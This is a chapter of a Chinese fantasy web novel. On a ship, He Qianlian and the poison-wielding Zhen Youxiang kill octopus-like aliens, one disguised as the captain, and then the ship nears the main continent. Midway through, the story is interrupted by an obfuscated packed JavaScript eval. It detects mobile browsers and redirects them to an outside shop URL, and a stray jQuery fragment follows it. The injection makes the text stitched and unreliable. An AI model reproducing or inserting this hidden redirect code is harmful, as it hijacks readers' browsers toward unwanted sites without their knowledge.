枕尤香利落地转身。下蹲,蹬地,起跳,轻巧地在外壁上借力,一个翻身进入五楼走廊。
甲板上仍然欢歌笑语。贺千涟只是看了一眼,毅然回身进入冰冷的船舱。
即将抵达五楼时,她听到了头顶天花板传来的剧烈撞击声。
她的脚步没有停下,三步并两步继续向上。
登上五楼,转过楼梯口,她看到了走廊上正在对峙的两人。
哦,是一人一怪。
枕尤香的背影仍然从容,反观对面的异形就不一样了。它似乎被激怒了,又碍于枕尤香的实力不敢贸然进攻。
贺千涟看着枕尤香对面那个“东西”,忍不住咋舌。
这是她第一次看见异形的完全体。她以为之前保洁员变身的场景就已经够让人掉san了,没想到和完全体的骇人程度没得比。
它的外轮廓像是巨型章鱼,但章鱼应该不愿意承认,因为这东西实在太恶心。
庞大的身躯将整个走廊横截面塞得满满当当。它身上的每块肉,都像被剥完皮又在海底腐烂了十年。白色的眼球凸起,红里透黑的皮肤表面有一层看起来很叫人反胃的半透明黏液。
枕尤香看到贺千涟出现在楼梯口,眼神流露出一丝讶异。她一掌拍飞异形挥来的触手,手掌所过之处,立刻留下极深的毒蚀痕迹,章鱼肉滋啦作响冒着黑气。
看来这就是女人的异能——毒。
它被彻底激怒,裂开口器发出刺耳的尖啸,听得贺千涟想捂耳朵。
比她捂耳朵的手更快,一缕青色的烟雾从枕尤香口中吐出,直直扑上异形的面门,它就像是被人掐住了嗓子一般,噪音戛然而止。
贺千涟内心动荡。
原来这才是异能者。
可惜现在不是细细欣赏的时候。上面驾驶室还有一颗随时可能爆炸的定时炸弹。
贺千涟转身沿楼梯继续向上。
她在驾驶室门口遇到了刚刚醒来的“船长”。
它知道事情已经败露,不再伪装。人类的身体上,渐渐浮现出异形的皮肤纹理,有巨大的红色肉瘤和黑色肿块从人皮下破土而出。同时,它的头部正在不断胀大,人类的五官被撑到变形。
贺千涟提刀迎上,很轻易地将身位缩短到方寸之间。
就在匕首即将刺入它左胸腔的一瞬间,它脸上属于人类的五官突然浮现出一个诡异扭曲的笑容。
不对!
贺千涟瞪大了眼睛,可惜手中的匕首因为惯性继续刺入。没作停留,甚至没来得及拔出匕首,她以最快的速度向后撤去。
果然——面前异形几乎是在瞬间完成了从人到完全体的转化。
它居然还会使诈!
贺千涟心中一沉。“船长”的伪装比“保洁员”自然,这只似乎比下面那个更聪明。
它的一根触手缠绕上匕首柄,拔出,嘲弄地扔到远处。
粗壮的触手拍来,还没站稳的贺千涟向后一滚,堪堪躲过。
但紧接着还有第二条,第三条···
匕首不在手上,她只能凭借战斗技巧尽可能多拖些时间。
贺千涟又一次起跳,在空中转身躲过横着挥过来的触手,另一条触手却悄无声息地缠绕而上。
“砰!”
触手缠住她的脚踝,猛地一抡——她整个人砸向墙壁!
身后的墙上,甚至出现了几道裂纹。
贺千涟无力地靠坐在地上,后背传来剧烈的疼痛,她却勾起嘴角。
它在为打晕它的那一棍报复她。
贺千涟啐出一口血沫。
她的目光穿过异形,落在它后方的铁柜上。半开的柜门里,老旧的电缆裸露在外。
她强撑着站起身,语气欠揍:
“想报复我?继续啊,来。”
贺千涟向后撤去,异形咧开嘴向她扑来——
然后,重重撞上走廊连接处的横杆。
贺千涟看准时机,趁它被卡住的间隙从横梁上翻过,落在它的背后。抬头,铁柜就在她的面前。
她扯出其中的电缆,让金属线暴露在外。异形被彻底激怒,发出了刺耳的尖啸,它的几条触手争先恐后地涌来,那些湿滑的黏液,成为了最佳导体。
一阵噼里啪啦的电流声,异形庞大的身躯一僵!体表那层恶心的黏液在高温下迅速沸腾汽化,发出“嗤嗤”的响声,焦黑色斑块在皮肤上蔓延。
“碳烤鱿鱼——”
趁它僵直的两秒,贺千涟身体紧贴地面滑出,够到那把被扔在角落的匕首。
回身,异形已经从电击中恢复,但动作明显迟缓了许多。表皮下的肌肉异样地抽搐着,试图重新发起攻击。
但这一次,更先来到的是枕尤香的怀抱。
她的怀抱很温暖。刚刚面对异形散发出侵蚀性剧毒的手,此时正环过贺千涟的肩。
迎上女人略微忧心的目光,贺千涟扬起一个没心没肺的笑容:
“问题不大。挨揍这事我很有经验的。”
她从枕尤香的怀抱中抽离出来,坐在地上喘息着。终于可以松口气。
背对着她的女人轻轻一吹,彩色的毒雾弥漫整条走廊,异形避无可避,节节败退。
枕尤香前冲,高高跳起,剧毒在手心凝集,手掌即将推上它的天灵盖,就要结果了它!
变故只发生在一瞬间。
贺千涟只来得及注意到她颈间的项链闪过一抹灼眼的红光。
空中的人像是突然被重锤击中了头部,伴随着一声痛苦的呜咽,直直坠落,双膝跪地砸在地板上的声音听得贺千涟牙酸。
枕尤香抱住头,手上青筋暴起,看起来正遭受着莫大的痛苦。破碎的字句从她喉咙中挤出:
“用我的血···快···”
异形甚至都没来得及反击。
不等它反应过来,贺千涟比它更快。
寒光闪过,刀尖沾上了枕尤香黑红色的血。贺千涟站起身,有些摇晃,速度却没有慢下来。她冲进毒雾之中,高高举起匕首,用尽最后一丝力气起跳——
“噗嗤”
匕首依靠着重力深深刺入异形的头顶。
异形所有挣扎戛然而止,庞大的身躯逐渐瘫软成一摊半固体,冒泡的黑色粘液从它身体表面不断涌出。
贺千涟的身体无力地摔落到地上,眼睛盯着异形头上那把象征着胜利的匕首,却亮得惊人。
身下地板冰凉的触感传来,却难以缓解背部伤口火辣辣的疼。剧烈的痛感从四肢百骸传来,伴随着更加强烈的眩晕。
一股温热腥甜的液体在体内猛地上涌,蔓延在嘴里。汗水和血水混在一起,但她管不了那么多了,只觉得疲惫席卷了全身。
阖上眼的最后一刻,她看见了旋转的天花板,和枕尤香的眼睛。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094500|195602||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没人注意到,地上的那滩濒死的黑色粘液,正以不符合常理的轨迹汇成一小汩,静静流淌到贺千涟身下,然后消失。
就像是,变成了她的一部分。
昏迷中的人,手指无意识地痉挛了一下。
···
与此同时,千里之外,西玄境内。
一处装潢讲究的庭院中。
青年坐着轮椅从房屋中缓缓驶出,门在她身后合紧。她虚倚着后背,双眼半阖,头向一侧稍稍倾去。纤细白皙的手指抚上太阳穴,轻轻揉着。
“何事?”
在门外等候了多时的女人俯下身,在她耳边说了什么。
青年睁开眼,狭长的眸子中浮出一丝兴味。
“少主,以她现在的能力,贸然来到主大陆恐怕…需不需要我…”
“不必。”
这都做不好的人,也没必要来到她面前碍事。
青年驶着轮椅来到池塘边,手指作捻食状擎在上空。
不过,那人的动作倒是比她想象中更快……有点意思。
鱼群争先恐后地聚集在池边,抢夺着并不存在的鱼食。
她静静注视这一幕许久,顿觉无趣,手一扬将鱼食抛撒到远处,转身回房。无论身后池中鱼群如何争抢,都并不理会。
···
贺千涟在轮船医务室的病床上醒来,阳台传出女人刻意压低的声音。
“我差点因为这个破东西丧命!为公众负责?那我的安危谁来负责!”
女人的音调因为愤怒拔高,双眼之中怒火难掩。
听着通讯器中不痛不痒的几句安抚,和冠冕堂皇的解释,没等对方说完她就按下挂断。
这些车轱辘话听得她耳朵要起茧了。
女人攥紧的拳头砸上栏杆,痛感让她冷静了些。
她深吸了一口气。
为公众负责?
女人双唇中挤出一声轻嗤。
狗屁!
女人不甘的双眸投向栏杆外。
旁边,一个身影靠近。
“醒了?”女人掩饰好情绪,将被海风吹乱的红色卷发拢到耳后,“还好吗?”
贺千涟的眼神滑过女人颈间,红色的项链依然静静躺在那里,似乎不曾引发命悬一线的危机。
她不着痕迹地移开视线,吊儿郎当地活动活动脖子:“还行,活动开了。”
女人被她逗笑。
大概是刚刚并肩作战过,枕尤香对面前的少年有莫名的亲切感。
“多亏了你,否则造成事故传到岸上,恐怕又会引起民众的恐慌。”
贺千涟敏锐地捕捉到关键词:“又?”
“是啊。”枕尤香轻叹一口气,“最近大陆有异形重现的消息传得火热,正是人心惶惶的时候。”
“我叫枕尤香,是这次航程的安保委托人。你帮了我一个大忙,以后在主陆,有需要,随时找我。”
女人离开了。
贺千涟的目光投向远处。
港口的轮廓刺破海雾,露出真容——不是蝰突那种钢铁堆积的杂乱码头,而是整片人造大陆延伸出平坦的银白色平台。夜晚的冷色灯光将整个码头衬得更加冷峻,成千艘轮船整齐的停靠着。
异形重现···
枕尤香的叹息回荡在耳旁。主大陆···风平浪静的表象之下,似乎有什么东西正在酝酿。